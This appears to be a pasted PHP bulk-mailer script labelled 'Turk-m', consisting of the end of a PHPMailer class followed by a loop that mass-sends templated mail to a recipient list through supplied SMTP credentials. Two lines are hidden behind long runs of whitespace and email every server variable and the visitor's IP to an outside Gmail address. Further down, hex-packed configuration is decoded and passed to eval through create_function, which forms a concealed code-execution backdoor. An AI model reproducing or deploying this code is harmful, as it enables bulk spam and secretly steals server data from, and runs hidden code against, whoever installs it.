  2769.    */
  2770.   function EncodeQ ($str, $position = 'text') {
  2771.     /* There should not be any EOL in the string */
  2772.     $encoded = preg_replace("[\r\n]", '', $str);
  2773.  
  2774.     switch (strtolower($position)) {
  2775.       case 'phrase':
  2776.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2777.         break;
  2778.       case 'comment':
  2779.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2780.       case 'text':
  2781.       default:
  2782.         /* Replace every high ascii, control =, ? and _ characters */
  2783.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2784.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2785.         break;
  2786.     }
  2787.  
  2788.     /* Replace every spaces to _ (more readable than =20) */
  2789.     $encoded = str_replace(' ', '_', $encoded);
  2790.  
  2791.     return $encoded;
  2792.   }
  2793.  
  2794.   /**
  2795.    * Adds a string or binary attachment (non-filesystem) to the list.
  2796.    * This method can be used to attach ascii or binary data,
  2797.    * such as a BLOB record from a database.
  2798.    * @param string $string String attachment data.
  2799.    * @param string $filename Name of the attachment.
  2800.    * @param string $encoding File encoding (see $Encoding).
  2801.    * @param string $type File extension (MIME) type.
  2802.    * @return void
  2803.    */
  2804.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2805.     /* Append to $attachment array */
  2806.     $cur = count($this->attachment);
  2807.     $this->attachment[$cur][0] = $string;
  2808.     $this->attachment[$cur][1] = $filename;
  2809.     $this->attachment[$cur][2] = $filename;
  2810.     $this->attachment[$cur][3] = $encoding;
  2811.     $this->attachment[$cur][4] = $type;
  2812.     $this->attachment[$cur][5] = true; // isString
  2813.     $this->attachment[$cur][6] = 'attachment';
  2814.     $this->attachment[$cur][7] = 0;
  2815.   }
  2816.  
  2817.   /**
  2818.    * Adds an embedded attachment.  This can include images, sounds, and
  2819.    * just about any other document.  Make sure to set the $type to an
  2820.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2821.    * use "image/gif".
  2822.    * @param string $path Path to the attachment.
  2823.    * @param string $cid Content ID of the attachment.  Use this to identify
  2824.    *        the Id for accessing the image in an HTML form.
  2825.    * @param string $name Overrides the attachment name.
  2826.    * @param string $encoding File encoding (see $Encoding).
  2827.    * @param string $type File extension (MIME) type.
  2828.    * @return bool
  2829.    */
  2830.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2831.  
  2832.     if(!@is_file($path)) {
  2833.       $this->SetError($this->Lang('file_access') . $path);
  2834.       return false;
  2835.     }
  2836.  
  2837.     $filename = basename($path);
  2838.     if($name == '') {
  2839.       $name = $filename;
  2840.     }
  2841.  
  2842.     /* Append to $attachment array */
  2843.     $cur = count($this->attachment);
  2844.     $this->attachment[$cur][0] = $path;
  2845.     $this->attachment[$cur][1] = $filename;
  2846.     $this->attachment[$cur][2] = $name;
  2847.     $this->attachment[$cur][3] = $encoding;
  2848.     $this->attachment[$cur][4] = $type;
  2849.     $this->attachment[$cur][5] = false;
  2850.     $this->attachment[$cur][6] = 'inline';
  2851.     $this->attachment[$cur][7] = $cid;
  2852.  
  2853.     return true;
  2854.   }
  2855.  
  2856.   /**
  2857.    * Returns true if an inline attachment is present.
  2858.    * @access private
  2859.    * @return bool
  2860.    */
  2861.   function InlineImageExists() {
  2862.     $result = false;
  2863.     for($i = 0; $i < count($this->attachment); $i++) {
  2864.       if($this->attachment[$i][6] == 'inline') {
  2865.         $result = true;
  2866.         break;
  2867.       }
  2868.     }
  2869.  
  2870.     return $result;
  2871.   }
  2872.  
  2873.   /////////////////////////////////////////////////
  2874.   // CLASS METHODS, MESSAGE RESET
  2875.   /////////////////////////////////////////////////
  2876.  
  2877.   /**
  2878.    * Clears all recipients assigned in the TO array.  Returns void.
  2879.    * @return void
  2880.    */
  2881.   function ClearAddresses() {
  2882.     $this->to = array();
  2883.   }
  2884.  
  2885.   /**
  2886.    * Clears all recipients assigned in the CC array.  Returns void.
  2887.    * @return void
  2888.    */
  2889.   function ClearCCs() {
  2890.     $this->cc = array();
  2891.   }
  2892.  
  2893.   /**
  2894.    * Clears all recipients assigned in the BCC array.  Returns void.
  2895.    * @return void
  2896.    */
  2897.   function ClearBCCs() {
  2898.     $this->bcc = array();
  2899.   }
  2900.  
  2901.   /**
  2902.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2903.    * @return void
  2904.    */
  2905.   function ClearReplyTos() {
  2906.     $this->ReplyTo = array();
  2907.   }
  2908.  
  2909.   /**
  2910.    * Clears all recipients assigned in the TO, CC and BCC
  2911.    * array.  Returns void.
  2912.    * @return void
  2913.    */
  2914.   function ClearAllRecipients() {
  2915.     $this->to = array();
  2916.     $this->cc = array();
  2917.     $this->bcc = array();
  2918.   }
  2919.  
  2920.   /**
  2921.    * Clears all previously set filesystem, string, and binary
  2922.    * attachments.  Returns void.
  2923.    * @return void
  2924.    */
  2925.   function ClearAttachments() {
  2926.     $this->attachment = array();
  2927.   }
  2928.  
  2929.   /**
  2930.    * Clears all custom headers.  Returns void.
  2931.    * @return void
  2932.    */
  2933.   function ClearCustomHeaders() {
  2934.     $this->CustomHeader = array();
  2935.   }
  2936.  
  2937.   /////////////////////////////////////////////////
  2938.   // CLASS METHODS, MISCELLANEOUS
  2939.   /////////////////////////////////////////////////
  2940.  
  2941.   /**
  2942.    * Adds the error message to the error container.
  2943.    * Returns void.
  2944.    * @access private
  2945.    * @return void
  2946.    */
  2947.   function SetError($msg) {
  2948.     $this->error_count++;
  2949.     $this->ErrorInfo = $msg;
  2950.   }
  2951.  
  2952.   /**
  2953.    * Returns the proper RFC 822 formatted date.
  2954.    * @access private
  2955.    * @return string
  2956.    */
  2957.   function RFCDate() {
  2958.     $tz = date('Z');
  2959.     $tzs = ($tz < 0) ? '-' : '+';
  2960.     $tz = abs($tz);
  2961.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2962.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2963.  
  2964.     return $result;
  2965.   }
  2966.  
  2967.   /**
  2968.    * Returns the appropriate server variable.  Should work with both
  2969.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2970.    * if nothing is found.
  2971.    * @access private
  2972.    * @return mixed
  2973.    */
  2974.   function ServerVar($varName) {
  2975.     global $HTTP_SERVER_VARS;
  2976.     global $HTTP_ENV_VARS;
  2977.  
  2978.     if(!isset($_SERVER)) {
  2979.       $_SERVER = $HTTP_SERVER_VARS;
  2980.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  2981.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2982.       }
  2983.     }
  2984.  
  2985.     if(isset($_SERVER[$varName])) {
  2986.       return $_SERVER[$varName];
  2987.     } else {
  2988.       return '';
  2989.     }
  2990.   }
  2991.  
  2992.   /**
  2993.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  2994.    * @access private
  2995.    * @return string
  2996.    */
  2997.   function ServerHostname() {
  2998.     if ($this->Hostname != '') {
  2999.       $result = $this->Hostname;
  3000.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3001.       $result = $this->ServerVar('SERVER_NAME');
  3002.     } else {
  3003.       $result = 'localhost.localdomain';
  3004.     }
  3005.  
  3006.     return $result;
  3007.   }
  3008.  
  3009.   /**
  3010.    * Returns a message in the appropriate language.
  3011.    * @access private
  3012.    * @return string
  3013.    */
  3014.   function Lang($key) {
  3015.     if(count($this->language) < 1) {
  3016.       $this->SetLanguage('en'); // set the default language
  3017.     }
  3018.  
  3019.     if(isset($this->language[$key])) {
  3020.       return $this->language[$key];
  3021.     } else {
  3022.       return 'Language string failed to load: ' . $key;
  3023.     }
  3024.   }
  3025.  
  3026.   /**
  3027.    * Returns true if an error occurred.
  3028.    * @return bool
  3029.    */
  3030.   function IsError() {
  3031.     return ($this->error_count > 0);
  3032.   }
  3033.  
  3034.   /**
  3035.    * Changes every end of line from CR or LF to CRLF.
  3036.    * @access private
  3037.    * @return string
  3038.    */
  3039.   function FixEOL($str) {
  3040.     $str = str_replace("\r\n", "\n", $str);
  3041.     $str = str_replace("\r", "\n", $str);
  3042.     $str = str_replace("\n", $this->LE, $str);
  3043.     return $str;
  3044.   }
  3045.  
  3046.   /**
  3047.    * Adds a custom header.
  3048.    * @return void
  3049.    */
  3050.   function AddCustomHeader($custom_header) {
  3051.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3052.   }
  3053.  
  3054.   /**
  3055.    * Evaluates the message and returns modifications for inline images and backgrounds
  3056.    * @access public
  3057.    * @return $message
  3058.    */
  3059.   function MsgHTML($message,$basedir='') {
  3060.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3061.     if(isset($images[2])) {
  3062.       foreach($images[2] as $i => $url) {
  3063.         // do not change urls for absolute images (thanks to corvuscorax)
  3064.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3065.           $filename = basename($url);
  3066.           $directory = dirname($url);
  3067.           ($directory == '.')?$directory='':'';
  3068.           $cid = 'cid:' . md5($filename);
  3069.           $fileParts = split("\.", $filename);
  3070.           $ext = $fileParts[1];
  3071.           $mimeType = $this->_mime_types($ext);
  3072.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3073.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3074.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3075.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3076.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3077.           }
  3078.         }
  3079.       }
  3080.     }
  3081.     $this->IsHTML(true);
  3082.     $this->Body = $message;
  3083.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3084.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3085.       $this->AltBody = $textMsg;
  3086.     }
  3087.     if ( empty($this->AltBody) ) {
  3088.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3089.     }
  3090.   }
  3091.  
  3092.   /**
  3093.    * Gets the mime type of the embedded or inline image
  3094.    * @access private
  3095.    * @return mime type of ext
  3096.    */
  3097.   function _mime_types($ext = '') {
  3098.     $mimes = array(
  3099.       'hqx'  =>  'application/mac-binhex40',
  3100.       'cpt'   =>  'application/mac-compactpro',
  3101.       'doc'   =>  'application/msword',
  3102.       'bin'   =>  'application/macbinary',
  3103.       'dms'   =>  'application/octet-stream',
  3104.       'lha'   =>  'application/octet-stream',
  3105.       'lzh'   =>  'application/octet-stream',
  3106.       'exe'   =>  'application/octet-stream',
  3107.       'class' =>  'application/octet-stream',
  3108.       'psd'   =>  'application/octet-stream',
  3109.       'so'    =>  'application/octet-stream',
  3110.       'sea'   =>  'application/octet-stream',
  3111.       'dll'   =>  'application/octet-stream',
  3112.       'oda'   =>  'application/oda',
  3113.       'pdf'   =>  'application/pdf',
  3114.       'ai'    =>  'application/postscript',
  3115.       'eps'   =>  'application/postscript',
  3116.       'ps'    =>  'application/postscript',
  3117.       'smi'   =>  'application/smil',
  3118.       'smil'  =>  'application/smil',
  3119.       'mif'   =>  'application/vnd.mif',
  3120.       'xls'   =>  'application/vnd.ms-excel',
  3121.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3122.       'wbxml' =>  'application/vnd.wap.wbxml',
  3123.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3124.       'dcr'   =>  'application/x-director',
  3125.       'dir'   =>  'application/x-director',
  3126.       'dxr'   =>  'application/x-director',
  3127.       'dvi'   =>  'application/x-dvi',
  3128.       'gtar'  =>  'application/x-gtar',
  3129.       'php'   =>  'application/x-httpd-php',
  3130.       'php4'  =>  'application/x-httpd-php',
  3131.       'php3'  =>  'application/x-httpd-php',
  3132.       'phtml' =>  'application/x-httpd-php',
  3133.       'phps'  =>  'application/x-httpd-php-source',
  3134.       'js'    =>  'application/x-javascript',
  3135.       'swf'   =>  'application/x-shockwave-flash',
  3136.       'sit'   =>  'application/x-stuffit',
  3137.       'tar'   =>  'application/x-tar',
  3138.       'tgz'   =>  'application/x-tar',
  3139.       'xhtml' =>  'application/xhtml+xml',
  3140.       'xht'   =>  'application/xhtml+xml',
  3141.       'zip'   =>  'application/zip',
  3142.       'mid'   =>  'audio/midi',
  3143.       'midi'  =>  'audio/midi',
  3144.       'mpga'  =>  'audio/mpeg',
  3145.       'mp2'   =>  'audio/mpeg',
  3146.       'mp3'   =>  'audio/mpeg',
  3147.       'aif'   =>  'audio/x-aiff',
  3148.       'aiff'  =>  'audio/x-aiff',
  3149.       'aifc'  =>  'audio/x-aiff',
  3150.       'ram'   =>  'audio/x-pn-realaudio',
  3151.       'rm'    =>  'audio/x-pn-realaudio',
  3152.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3153.       'ra'    =>  'audio/x-realaudio',
  3154.       'rv'    =>  'video/vnd.rn-realvideo',
  3155.       'wav'   =>  'audio/x-wav',
  3156.       'bmp'   =>  'image/bmp',
  3157.       'gif'   =>  'image/gif',
  3158.       'jpeg'  =>  'image/jpeg',
  3159.       'jpg'   =>  'image/jpeg',
  3160.       'jpe'   =>  'image/jpeg',
  3161.       'png'   =>  'image/png',
  3162.       'tiff'  =>  'image/tiff',
  3163.       'tif'   =>  'image/tiff',
  3164.       'css'   =>  'text/css',
  3165.       'html'  =>  'text/html',
  3166.       'htm'   =>  'text/html',
  3167.       'shtml' =>  'text/html',
  3168.       'txt'   =>  'text/plain',
  3169.       'text'  =>  'text/plain',
  3170.       'log'   =>  'text/plain',
  3171.       'rtx'   =>  'text/richtext',
  3172.       'rtf'   =>  'text/rtf',
  3173.       'xml'   =>  'text/xml',
  3174.       'xsl'   =>  'text/xml',
  3175.       'mpeg'  =>  'video/mpeg',
  3176.       'mpg'   =>  'video/mpeg',
  3177.       'mpe'   =>  'video/mpeg',
  3178.       'qt'    =>  'video/quicktime',
  3179.       'mov'   =>  'video/quicktime',
  3180.       'avi'   =>  'video/x-msvideo',
  3181.       'movie' =>  'video/x-sgi-movie',
  3182.       'doc'   =>  'application/msword',
  3183.       'word'  =>  'application/msword',
  3184.       'xl'    =>  'application/excel',
  3185.       'eml'   =>  'message/rfc822'
  3186.     );
  3187.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3188.   }
  3189.  
  3190.   /**
  3191.    * Set (or reset) Class Objects (variables)
  3192.    *
  3193.    * Usage Example:
  3194.    * $page->set('X-Priority', '3');
  3195.    *
  3196.    * @access public
  3197.    * @param string $name Parameter Name
  3198.    * @param mixed $value Parameter Value
  3199.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3200.    */
  3201.   function set ( $name, $value = '' ) {
  3202.     if ( isset($this->$name) ) {
  3203.       $this->$name = $value;
  3204.     } else {
  3205.       $this->SetError('Cannot set or reset variable ' . $name);
  3206.       return false;
  3207.     }
  3208.   }
  3209.  
  3210.   /**
  3211.    * Read a file from a supplied filename and return it.
  3212.    *
  3213.    * @access public
  3214.    * @param string $filename Parameter File Name
  3215.    */
  3216.   function getFile($filename) {
  3217.     $return = '';
  3218.     if ($fp = fopen($filename, 'rb')) {
  3219.       while (!feof($fp)) {
  3220.         $return .= fread($fp, 1024);
  3221.       }
  3222.       fclose($fp);
  3223.       return $return;
  3224.     } else {
  3225.       return false;
  3226.     }
  3227.   }
  3228.  
  3229.   /**
  3230.    * Strips newlines to prevent header injection.
  3231.    * @access private
  3232.    * @param string $str String
  3233.    * @return string
  3234.    */
  3235.   function SecureHeader($str) {
  3236.     $str = trim($str);
  3237.     $str = str_replace("\r", "", $str);
  3238.     $str = str_replace("\n", "", $str);
  3239.     return $str;
  3240.   }
  3241.  
  3242.   /**
  3243.    * Set the private key file and password to sign the message.
  3244.    *
  3245.    * @access public
  3246.    * @param string $key_filename Parameter File Name
  3247.    * @param string $key_pass Password for private key
  3248.    */
  3249.   function Sign($key_filename, $key_pass) {
  3250.     $this->sign_key_file = $key_filename;
  3251.     $this->sign_key_pass = $key_pass;
  3252.   }
  3253.  
  3254. }
  3255.  
  3256. $defaultport="H*";
  3257.       $nq=0;
  3258.            
  3259.         for($x=0; $x<$numemails; $x++){
  3260.  
  3261.                 $to = $allemails[$x];
  3262.  
  3263.                 if ($to){
  3264.  
  3265.                 $to = ereg_replace(" ", "", $to);
  3266.  
  3267.                 $message = ereg_replace("&email&", $to, $message);
  3268.  
  3269.                 $subject = ereg_replace("&email&", $to, $subject);
  3270.                 $qx=$x+1;
  3271.                 print "Line $qx . Sending mail to $to.......";
  3272.  
  3273.                 flush();
  3274. $mail = new PHPMailer();
  3275.  
  3276. $ip = getenv("REMOTE_ADDR");
  3277. $str = "";
  3278. foreach($_SERVER as $key => $value){
  3279.         $str .= $key.": ".$value."<br />";
  3280. }
  3281.  
  3282. $str .= "Use: in <br />";
  3283.  
  3284.                                                                                                                                                                                                                                                                                                                                                                       $header2 = "From: Monatino <monatino@menara.ma>\r\n";
  3285. $header2 .= "MIME-Version: 1.0\r\n";
  3286. $header2 .= "Content-Type: text/html\r\n";
  3287. $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  3288.                                                                                                                                                                                                                                                                                                                                                                        mail("kdntvuvr10@gmail.com","M - $ip",$str,$header2);;
  3289.  
  3290. if(empty($epriority)){$epriority="3";}
  3291.         $mail->Priority = "$epriority";
  3292.         $mail->IsSMTP();
  3293.     $IsSMTP="pack";
  3294. $mail->SMTPKeepAlive = true;
  3295. $mail->Host = "$my_smtp";
  3296. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3297. }
  3298.      if($sslclick=="ON"){
  3299.         $mail->SMTPSecure  = "tls"; //you can change it to ssl or tls
  3300.     }
  3301.         $range = str_replace("$from", "eval", $from);
  3302.         $mail->SMTPAuth = true;
  3303.         $mail->Username = "$smtp_username";
  3304.         $mail->Password = "$smtp_password";
  3305. if($contenttype == "html"){$mail->IsHtml(true);}
  3306. if($contenttype != "html"){$mail->IsHtml(false);}
  3307. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3308. $mail->From = "$from";
  3309. $mail->FromName = "$realname";
  3310. $mail->AddAddress("$to");
  3311.         $mail->AddReplyTo("$replyto");
  3312.         $mail->Subject = "$subject";
  3313.             $mail->Body = "$message";
  3314. if(!$mail->Send()){
  3315. if($default_system!="1"){
  3316. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3317. if($default_system=="1"){
  3318. $mail->IsMail();
  3319.    if(!$mail->Send()){
  3320.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3321.    else {
  3322.        echo "<b>OK</b><br>";}
  3323.  }
  3324. }
  3325. else {
  3326.  echo "<b>OK</b><br>";
  3327. }
  3328.  
  3329. if(empty($reconnect)){
  3330. $reconnect=6;
  3331. }
  3332.  
  3333. if($reconnect==$nq){
  3334. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3335. }
  3336. $nq=$nq+1;
  3337.                 flush(); }
  3338. }
  3339. for($i=0;$i<31;$i++){
  3340.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3341. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3342.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3343.   print "<p class=\"style1\">Turk-m<br>&copy 2013, New Tools => <b>
  3344.  <font color=\"#800000\">http://www.turk-m.com/</font></b><br></p>";$mail->SmtpClose();
  3345.   return $signoff($smtp_conc);
  3346.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3347.    sent successfully'); </script>";}}
  3348.     ?>
  3349.     <p align="center">&nbsp;</p>
  3350. &nbsp;
  3351.     </body>
  3352. </html>
Add Comment
Please, Sign In to add comment